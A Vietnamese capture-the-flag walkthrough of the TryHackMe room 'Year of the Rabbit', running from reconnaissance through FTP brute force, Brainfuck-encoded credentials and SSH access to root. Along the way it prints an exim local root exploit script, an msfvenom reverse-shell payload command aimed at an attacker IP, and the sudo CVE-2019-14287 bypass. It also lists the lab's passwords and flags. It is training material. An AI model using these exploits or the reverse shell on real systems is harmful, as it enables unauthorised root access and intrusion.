Year of the Rabbit
Time to enter the warren...
Initial Reconnaissance
Chúng ta thêm dòng sau vào /etc/hosts để ánh xạ domain name.
10.201.118.102 rabbit.thmService Scanning
┌──(kali㉿kali)-[~/Documents]
└─$ rustscan -a rabbit.thm -r 1-65535 -- -sV -sC
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 60 vsftpd 3.0.2
22/tcp open ssh syn-ack ttl 60 OpenSSH 6.7p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 1024 a0:8b:6b:78:09:39:03:32:ea:52:4c:20:3e:82:ad:60 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAILCKdtvyy1FqH1gBS+POXpHMlDynp+m6Ewj2yoK2PJKJeQeO2yRty1/qcf0eAHJGRngc9+bRPYe4M518+7yBVdO2p8UbIItiGzQHEXJu0tGdhIxmpbTdCT6V8HqIDjzrq2OB/PmsjoApVHv9N5q1Mb2i9J9wcnzlorK03gJ9vpxAAAAFQDVV1vsKCWHW/gHLSdO40jzZKVoyQAAAIA9EgFqJeRxwuCjzhyeASUEe+Wz9PwQ4lJI6g1z/1XNnCKQ9O6SkL54oTkB30RbFXBT54s3a11e5ahKxtDp6u9yHfItFOYhBt424m14ks/MXkDYOR7y07FbBYP5WJWk0UiKdskRej9P79bUGrXIcHQj3c3HnwDfKDnflN56Fk9rIwAAAIBlt2RBJWg3ZUqbRSsdaW61ArR4YU7FVLDgU0pHAIF6eq2R6CCRDjtbHE4X5eW+jhi6XMLbRjik9XOK78r2qyQwvHADW1hSWF6FgfF2PF5JKnvPG3qF2aZ2iOj9BVmsS5MnwdSNBytRydx9QJiyaI4+HyOkwomj0SINqR9CxYLfRA==
| 2048 df:25:d0:47:1f:37:d9:18:81:87:38:76:30:92:65:1f (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZyTWF65dczfLiKN0cNpHhm/nZ7FWafVaCf+Oxu7+9VM4GBO/8eWI5CedcIDkhU3Li/XBDUSELLXSRJOtQj5WdBOrFVBWWA3b3ICQqk0N1cmldVJRLoP1shBm/U5Xgs5QFx/0nvtXSGFwBGpfVKsiI/YBGrDkgJNAYdgWOzcQqol/nnam8EpPx0nZ6+c2ckqRCizDuqHXkNN/HVjpH0GhiscE6S6ULvq2bbf7ULjvWbrSAMEo6ENsy3RMEcQX+Ixxr0TQjKdjW+QdLay0sR7oIiATh5AL5vBGHTk2uR8ypsz1y7cTyXG2BjIVpNWeTzcip7a2/HYNNSJ1Y5QmAXoKd
| 256 be:9f:4f:01:4a:44:c8:ad:f5:03:cb:00:ac:8f:49:44 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHKavguvzBa889jvV30DH4fhXzMcLv6VdHFx3FVcAE0MqHRcLIyZcLcg6Rf0TNOhMQuu7Cut4Bf6SQseNVNJKK8=
| 256 db:b1:c1:b9:cd:8c:9d:60:4f:f1:98:e2:99:fe:08:03 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFBJPbfvzsYSbGxT7dwo158eVWRlfvXCxeOB4ypi9Hgh
80/tcp open http syn-ack ttl 60 Apache httpd 2.4.10 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.4.10 (Debian)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernelKết quả scan cho chúng ta thấy ba dịch vụ chính đang chạy trên máy target. ort 21 mở dịch vụ FTP với phiên bản vsftpd 3.0.2. Port 22 mở dịch vụ SSH với phiên bản OpenSSH 6.7p1 Debian 5. Cuối cùng, port 80 mở dịch vụ web với Apache 2.4.10 (Debian) và hiển thị trang mặc định “It works” của Apache. Thông tin phiên bản của SSH và HTTP cho ta biết được hệ điều hành là Debian.
SSH 22

Vì SSH server cho phép đăng nhập bằng password authentication, nên chúng ta sẽ tìm kiếm password dạng plain-text.
HTTP 80
Directory Enumeration
Tiếp theo, chúng ta dùng ffuf để scan nội dung ẩn trên website.
┌──(kali㉿kali)-[~/Documents]
└─$ ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://rabbit.thm/FUZZ -t 128 -e .php,.txt -r -fc 403
Kết quả chỉ tìm thấy một thư mục /assets.
/assets

Chúng ta bị “rick rolled” khi đang hack? Thử xem trong file style.css có gì thú vị không.

/sup3r_s3cr3t_fl4g.php
Thật bất ngờ, chúng ta tìm thấy một file PHP bí mật: /sup3r_s3cr3t_fl4g.php.


Script này sẽ redirect chúng ta đến video Youtube và lại bị rick rolled lần nữa. Để xử lý, chúng ta dùng Burp Suite chặn response rồi loại bỏ đoạn javascript.

intermediary.php?hidden_directory=/WExYY2Cv-qUNhưng thay vào đó, ta phát hiện ra ban đầu script redirect sang một file .php khác, nhận tham số hidden_directory. Ta đoán rằng nó sẽ dẫn ta đến thư mục ẩn /WExYY2Cv-qU.

Tuy nhiên, thay vì đi đến file .php, nó lại redirect thẳng tới /sup3r_s3cret_fl4g (không có .php như trước).
/WExYY2Cv-qU
Có lẽ chúng ta nên truy cập trực tiếp vào thư mục ẩn này.


Trong thư mục có một file .png. Chúng ta thử tải file này về và trích xuất thông tin ẩn bằng exiftool và strings.
┌──(kali㉿kali)-[~/Desktop]
└─$ wget http://rabbit.thm/WExYY2Cv-qU/Hot_Babe.png
--2025-08-28 20:07:09-- http://rabbit.thm/WExYY2Cv-qU/Hot_Babe.png
Resolving rabbit.thm (rabbit.thm)... 10.201.118.102
Connecting to rabbit.thm (rabbit.thm)|10.201.118.102|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 475075 (464K) [image/png]
Saving to: ‘Hot_Babe.png’
Hot_Babe.png 100%[============================================================================>] 463.94K 119KB/s in 3.9s
2025-08-28 20:07:14 (119 KB/s) - ‘Hot_Babe.png’ saved [475075/475075]
┌──(kali㉿kali)-[~/Desktop]
└─$ exiftool Hot_Babe.png
ExifTool Version Number : 13.25
File Name : Hot_Babe.png
Directory : .
File Size : 475 kB
File Modification Date/Time : 2020:01:23 07:34:32+07:00
File Access Date/Time : 2025:08:28 20:07:14+07:00
File Inode Change Date/Time : 2025:08:28 20:07:14+07:00
File Permissions : -rw-rw-r--
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 512
Image Height : 512
Bit Depth : 8
Color Type : RGB
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
SRGB Rendering : Perceptual
Warning : [minor] Trailer data after PNG IEND chunk
Image Size : 512x512
Megapixels : 0.262
┌──(kali㉿kali)-[~/Desktop]
└─$ strings Hot_Babe.png
...
...
Eh, you've earned this. Username for FTP is ftpuser
One of these is the password:
Mou+56n%QK8sr
1618B0AUshw1M
A56IpIl%1s02u
vTFbDzX9&Nmu?
FfF~sfu^UQZmT
8FF?iKO27b~V0
ua4W~2-@y7dE$
3j39aMQQ7xFXT
Wb4--CTc4ww*-
u6oY9?nHv84D&
0iBp4W69Gr_Yf
TS*%miyPsGV54
C77O3FIy0c0sd
O14xEhgg0Hxz1
5dpv#Pr$wqH7F
1G8Ucoce1+gS5
0plnI%f0~Jw71
0kLoLzfhqq8u&
kS9pn5yiFGj6d
zeff4#!b5Ib_n
rNT4E4SHDGBkl
KKH5zy23+S0@B
3r6PHtM4NzJjE
gm0!!EC1A0I2?
HPHr!j00RaDEi
7N+J9BYSp4uaY
PYKt-ebvtmWoC
3TN%cD_E6zm*s
eo?@c!ly3&=0Z
nR8&FXz$ZPelN
eE4Mu53UkKHx#
86?004F9!o49d
SNGY0JjA5@0EE
trm64++JZ7R6E
3zJuGL~8KmiK^
CR-ItthsH%9du
yP9kft386bB8G
A-*eE3L@!4W5o
GoM^$82l&GA5D
1t$4$g$I+V_BH
0XxpTd90Vt8OL
j0CN?Z#8Bp69_
G#h~9@5E5QA5l
DRWNM7auXF7@j
Fw!if_=kk7Oqz
92d5r$uyw!vaE
c-AA7a2u!W2*?
zy8z3kBi#2e36
J5%2Hn+7I6QLt
gL$2fmgnq8vI*
Etb?i?Kj4R=QM
7CabD7kwY7=ri
4uaIRX~-cY6K4
kY1oxscv4EB2d
k32?3^x1ex7#o
ep4IPQ_=ku@V8
tQxFJ909rd1y2
5L6kpPR5E2Msn
65NX66Wv~oFP2
LRAQ@zcBphn!1
V4bt3*58Z32Xe
ki^t!+uqB?DyI
5iez1wGXKfPKQ
nJ90XzX&AnF5v
7EiMd5!r%=18c
wYyx6Eq-T^9#@
yT2o$2exo~UdW
ZuI-8!JyI6iRS
PTKM6RsLWZ1&^
3O$oC~%XUlRO@
KW3fjzWpUGHSW
nTzl5f=9eS&*W
WS9x0ZF=x1%8z
Sr4*E4NT5fOhS
hLR3xQV*gHYuC
4P3QgF5kflszS
NIZ2D%d58*v@R
0rJ7p%6Axm05K
94rU30Zx45z5c
Vi^Qf+u%0*q_S
1Fvdp&bNl3#&l
zLH%Ot0Bw&c%9Kết quả, chúng ta tìm thấy một danh sách password cho user ftpuser được chèn ở cuối file ảnh. Lúc này chúng ta có thể dùng hydra để tiến hành dictionary attack.
┌──(kali㉿kali)-[~/Desktop]
└─$ hydra -l ftpuser -P pass.txt ftp://rabbit.thm -V
FTP 21
Chúng ta đăng nhập bằng credentials thu được và bắt đầu enumerate FTP server.
ftpuser:5iez1wGXKfPKQ┌──(kali㉿kali)-[~/Desktop]
└─$ ftp rabbit.thm
Connected to rabbit.thm.
220 (vsFTPd 3.0.2)
Name (rabbit.thm:kali): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||36485|).
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 758 Jan 23 2020 Eli's_Creds.txt
226 Directory send OK.
ftp> more Eli's_Creds.txt
+++++ ++++[ ->+++ +++++ +<]>+ +++.< +++++ [->++ +++<] >++++ +.<++ +[->-
--<]> ----- .<+++ [->++ +<]>+ +++.< +++++ ++[-> ----- --<]> ----- --.<+
++++[ ->--- --<]> -.<++ +++++ +[->+ +++++ ++<]> +++++ .++++ +++.- --.<+
+++++ +++[- >---- ----- <]>-- ----- ----. ---.< +++++ +++[- >++++ ++++<
]>+++ +++.< ++++[ ->+++ +<]>+ .<+++ +[->+ +++<] >++.. ++++. ----- ---.+
++.<+ ++[-> ---<] >---- -.<++ ++++[ ->--- ---<] >---- --.<+ ++++[ ->---
--<]> -.<++ ++++[ ->+++ +++<] >.<++ +[->+ ++<]> +++++ +.<++ +++[- >++++
+<]>+ +++.< +++++ +[->- ----- <]>-- ----- -.<++ ++++[ ->+++ +++<] >+.<+
++++[ ->--- --<]> ---.< +++++ [->-- ---<] >---. <++++ ++++[ ->+++ +++++
<]>++ ++++. <++++ +++[- >---- ---<] >---- -.+++ +.<++ +++++ [->++ +++++
<]>+. <+++[ ->--- <]>-- ---.- ----. <Chúng ta tìm thấy credentials cho user Eli, nhưng nó lại được viết bằng ngôn ngữ Brainfuck.

Không vấn đề gì, chúng ta có thể giải mã bằng một interpreter trực tuyến.

User: eli
Password: DSpDiM1wAEwidShell as eli
Sau khi decode thành công, chúng ta SSH được vào hệ thống với user eli.

eli@year-of-the-rabbit:/$ find / -name *user*.txt 2>/dev/null
/usr/share/doc/printer-driver-hpijs/users-guide.txt
/home/gwendoline/user.txt
eli@year-of-the-rabbit:/$ ls -la /home/gwendoline/user.txt
-r--r----- 1 gwendoline gwendoline 46 Jan 23 2020 /home/gwendoline/user.txt
eli@year-of-the-rabbit:/$ cat /home/gwendoline/user.txt
cat: /home/gwendoline/user.txt: Permission deniedTuy nhiên, file user.txt lại nằm trong thư mục home của user gwendoline, và chỉ gwendoline mới có quyền đọc. Do đó, chúng ta cần tìm cách chiếm quyền của gwendoline.
Sudo Permissions
eli@year-of-the-rabbit:~$ sudo -l
[sudo] password for eli:
Sorry, user eli may not run sudo on year-of-the-rabbit.Kiểm tra thì user eli không có quyền chạy sudo trên target.
Local Services
Chúng ta tiếp tục kiểm tra các dịch vụ local đang chạy.

SMTP 25

Dùng netcat, ta phát hiện có dịch vụ exim đang chạy trên port 25. Đây là một MTA (Mail Transfer Agent) mã nguồn mở phổ biến, hỗ trợ ESMTP (Extended SMTP) và nhiều tính năng nâng cao khác cho việc gửi và nhận email.
Ta xác định được phiên bản Exim là 4.84, ta nên kiểm tra xem có lỗ hổng nào không.

Có hai exploit khả dĩ cho phiên bản này. Đây là exploit thứ nhất:
┌──(kali㉿kali)-[~/Desktop]
└─$ cat /usr/share/exploitdb/exploits/linux/local/39535.sh
#!/bin/sh
## CVE-2016-1531 exim <= 4.84-3 local root exploit
## ===============================================
## you can write files as root or force a perl module to
## load by manipulating the perl environment and running
## exim with the "perl_startup" arguement -ps.
#
## e.g.
## [fantastic@localhost tmp]$ ./cve-2016-1531.sh
## [ CVE-2016-1531 local root exploit
## sh-4.3# id
## uid=0(root) gid=1000(fantastic) groups=1000(fantastic)
#
## -- Hacker Fantastic
echo [ CVE-2016-1531 local root exploit
cat > /tmp/root.pm << EOF
package root;
use strict;
use warnings;
system("/bin/sh");
EOF
PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -psExploit thứ hai:

Tuy nhiên, để sử dụng, exim phải được biên dịch với hỗ trợ Perl và có gắn SUID bit. Ta có thể kiểm tra như sau:
eli@year-of-the-rabbit:/tmp$ locate exim | grep bin
/usr/sbin/exim
/usr/sbin/exim4
/usr/sbin/exim_checkaccess
/usr/sbin/exim_convert4r4
/usr/sbin/exim_dbmbuild
/usr/sbin/exim_dumpdb
/usr/sbin/exim_fixdb
/usr/sbin/exim_lock
/usr/sbin/exim_tidydb
/usr/sbin/eximstats
/usr/sbin/syslog2eximlog
/usr/sbin/update-exim4.conf
/usr/sbin/update-exim4.conf.template
/usr/sbin/update-exim4defaults

Khi kiểm tra, exim trên máy nạn nhân có SUID bit, nhưng không được biên dịch với Perl. Vì vậy, các exploit này không khả thi, đây không phải hướng đi đúng.
IPP 631
Tiếp tục kiểm tra, chúng ta nhận thấy user hiện tại thuộc nhóm lpadmin, tức có quyền quản trị (thêm, xóa, cấu hình) hệ thống in ấn. Đồng thời, xác nhận được CUPS (Common Unix Printing System) đang chạy trên cổng cục bộ 631, sử dụng giao thức IPP (Internet Printing Protocol).

Chúng ta có thể thiết lập SSH tunneling để forward port 631 về máy của mình, từ đó truy cập giao diện web quản lý CUPS.

Ta quét cổng 631 tại localhost bằng Nmap:
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo nmap -p 631 -sV -sC -v localhost
PORT STATE SERVICE VERSION
631/tcp open ipp CUPS 1.7
| http-methods:
| Supported Methods: GET HEAD OPTIONS POST PUT
|_ Potentially risky methods: PUT
|_http-title: Home - CUPS 1.7.5
|_http-server-header: CUPS/1.7 IPP/2.1
| http-robots.txt: 1 disallowed entry
|_/
Chúng ta xác định được phiên bản của CUPS là 1.7.5. Ngoài ra cũng có một file robots.txt, nhưng không có gì đáng chú ý.

Dựa vào kết quả searchsploit, ta thấy có một exploit cho RCE. Vì tiến trình cups-browsed chạy dưới quyền root, nên nếu exploit thành công, chúng ta có thể chiếm reverse shell với quyền root.

Exploit này yêu cầu một payload ở định dạng .so, và chúng ta có thể tạo nó bằng msfvenom:
┌──(kali㉿kali)-[~/Desktop]
└─$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.17.21.52 LPORT=4242 -f elf-so -o payload.so
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf-so file: 476 bytes
Saved as: payload.so
┌──(kali㉿kali)-[~/Desktop]
└─$ python2 41233.py
lol ty google
0000000000000
0000000000000000000 00
00000000000000000000000000000
0000000000000000000000000000000
000000000 0000000000
00000000 0000000000
0000000 000000000000
0000000 000000000000000
000000 000000000 000000
0000000 000000000 000000
000000 000000000 000000
000000 000000000 000000
000000 00000000 000000
000000 000000000 000000
0000000 000000000 0000000
000000 000000000 000000
0000000000000000 0000000
0000000000000 0000000
00000000000 00000000
00000000000 000000000
0000000000000000000000000000000
00000000000000000000000000000
000 0000000000000000000
0000000000000
@0x00string
https://github.com/0x00string/oldays/blob/master/CVE-2015-1158.py
python script.py <args>
-h, --help: Show this message
-a, --rhost: Target IP address
-b, --rport: Target IPP service port
-c, --lib /path/to/payload.so
-f, --stomp-only Only stomp the ACL (no postex)
Examples:
python script.py -a 10.10.10.10 -b 631 -f
python script.py -a 10.10.10.10 -b 631 -c /tmp/x86reverseshell.so
┌──(kali㉿kali)-[~/Desktop]
└─$ python2 41233.py -a 127.0.0.1 -b 631 -c ./payload.so
lol ty google
0000000000000
0000000000000000000 00
00000000000000000000000000000
0000000000000000000000000000000
000000000 0000000000
00000000 0000000000
0000000 000000000000
0000000 000000000000000
000000 000000000 000000
0000000 000000000 000000
000000 000000000 000000
000000 000000000 000000
000000 00000000 000000
000000 000000000 000000
0000000 000000000 0000000
000000 000000000 000000
0000000000000000 0000000
0000000000000 0000000
00000000000 00000000
00000000000 000000000
0000000000000000000000000000000
00000000000000000000000000000
000 0000000000000000000
0000000000000
@0x00string
https://github.com/0x00string/oldays/blob/master/CVE-2015-1158.py
[*] locate available printer
[-] no printersTuy nhiên, khi thử thì exploit không hoạt động. Có lẽ đây chỉ là một “rabbit hole” mà chúng ta đang rơi vào.
S3cr3t Hiding Place
Sau một hồi enumerate, tôi quay lại kiểm tra lại ghi chú của walkthrough này, và phát hiện ngay từ lúc SSH vào với user eli đã có một hint được để sẵn :))

eli@year-of-the-rabbit:~$ find / -name s3cr3t 2>/dev/null
/usr/games/s3cr3t
eli@year-of-the-rabbit:~$ ls -la /usr/games/s3cr3t
total 12
drwxr-xr-x 2 root root 4096 Jan 23 2020 .
drwxr-xr-x 3 root root 4096 Jan 23 2020 ..
-rw-r--r-- 1 root root 138 Jan 23 2020 .th1s_m3ss4ag3_15_f0r_gw3nd0l1n3_0nly!
eli@year-of-the-rabbit:~$ cd /usr/games/s3cr3t
eli@year-of-the-rabbit:/usr/games/s3cr3t$ cat .th1s_m3ss4ag3_15_f0r_gw3nd0l1n3_0nly!
Your password is awful, Gwendoline.
It should be at least 60 characters long! Not just MniVCQVhQHUNI
Honestly!
Yours sincerely
-RootVà chúng ta đã tìm thấy mật khẩu của gwendoline là MniVCQVhQHUNI.
Shell as gwendoline

user.txt
gwendoline@year-of-the-rabbit:~$ cd ~
gwendoline@year-of-the-rabbit:~$ ls -la
total 24
drwxr-xr-x 2 gwendoline gwendoline 4096 Jan 23 2020 .
drwxr-xr-x 4 root root 4096 Jan 23 2020 ..
lrwxrwxrwx 1 root root 9 Jan 23 2020 .bash_history -> /dev/null
-rw-r--r-- 1 gwendoline gwendoline 220 Jan 23 2020 .bash_logout
-rw-r--r-- 1 gwendoline gwendoline 3515 Jan 23 2020 .bashrc
-rw-r--r-- 1 gwendoline gwendoline 675 Jan 23 2020 .profile
-r--r----- 1 gwendoline gwendoline 46 Jan 23 2020 user.txt
gwendoline@year-of-the-rabbit:~$ cat user.txt
THM{1107174691af9ff3681d2b5bdb5740b1589bae53}Sudo Permissions
gwendoline@year-of-the-rabbit:~$ sudo -l
Matching Defaults entries for gwendoline on year-of-the-rabbit:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User gwendoline may run the following commands on year-of-the-rabbit:
(ALL, !root) NOPASSWD: /usr/bin/vi /home/gwendoline/user.txt
gwendoline@year-of-the-rabbit:~$ sudo /usr/bin/vi /home/gwendoline/user.txt
[sudo] password for gwendoline:
Sorry, user gwendoline is not allowed to execute '/usr/bin/vi /home/gwendoline/user.txt' as root on year-of-the-rabbit.Thật kỳ lạ, user gwendoline có thể chạy binary vim dưới quyền của bất kỳ user nào ngoại trừ root. Ý tưởng đầu tiên là lợi dụng vim để spawn shell với quyền của những user có thể chỉnh sửa các file quan trọng như /etc/passwd, /etc/shadow, hay /etc/sudoers. Nhưng thật tiếc, chỉ có root mới có quyền ghi lên những file này.
Sau khi tìm kiếm trên Google, chúng ta phát hiện có một cách bypass và leo quyền lên root, đó chính là CVE-2019-14287.


In a nutshell, sudo không chỉ cho phép chỉ định username mà còn cho phép chỉ định UID. Nếu chúng ta chỉ định UID là -1, sudo sẽ bị lỗi và tự động chuyển UID này thành 0, tức là root. Như vậy, chúng ta có thể bypass giới hạn và thực thi lệnh với quyền root.
Lỗ hổng này ảnh hưởng tới các phiên bản sudo trước 1.8.28. Và may mắn cho chúng ta: phiên bản trên máy nạn nhân vẫn còn nằm trong phạm vi bị ảnh hưởng.
gwendoline@year-of-the-rabbit:~$ sudo --version
Sudo version 1.8.10p3
Sudoers policy plugin version 1.8.10p3
Sudoers file grammar version 43
Sudoers I/O plugin version 1.8.10p3Shell as root
gwendoline@year-of-the-rabbit:~$ sudo -u#-1 /usr/bin/vi /home/gwendoline/user.txt
:!sh
## id
uid=0(root) gid=0(root) groups=0(root)root.txt
## cd /root
## ls -la
total 20
drwx------ 2 root root 4096 Jan 23 2020 .
drwxr-xr-x 23 root root 4096 Jan 23 2020 ..
lrwxrwxrwx 1 root root 9 Jan 23 2020 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
-rw-r--r-- 1 root root 140 Nov 19 2007 .profile
-rw-r----- 1 root root 46 Jan 23 2020 root.txt
## cat root.txt
THM{8d6f163a87a1c80de27a4fd61aef0f3a0ecf9161}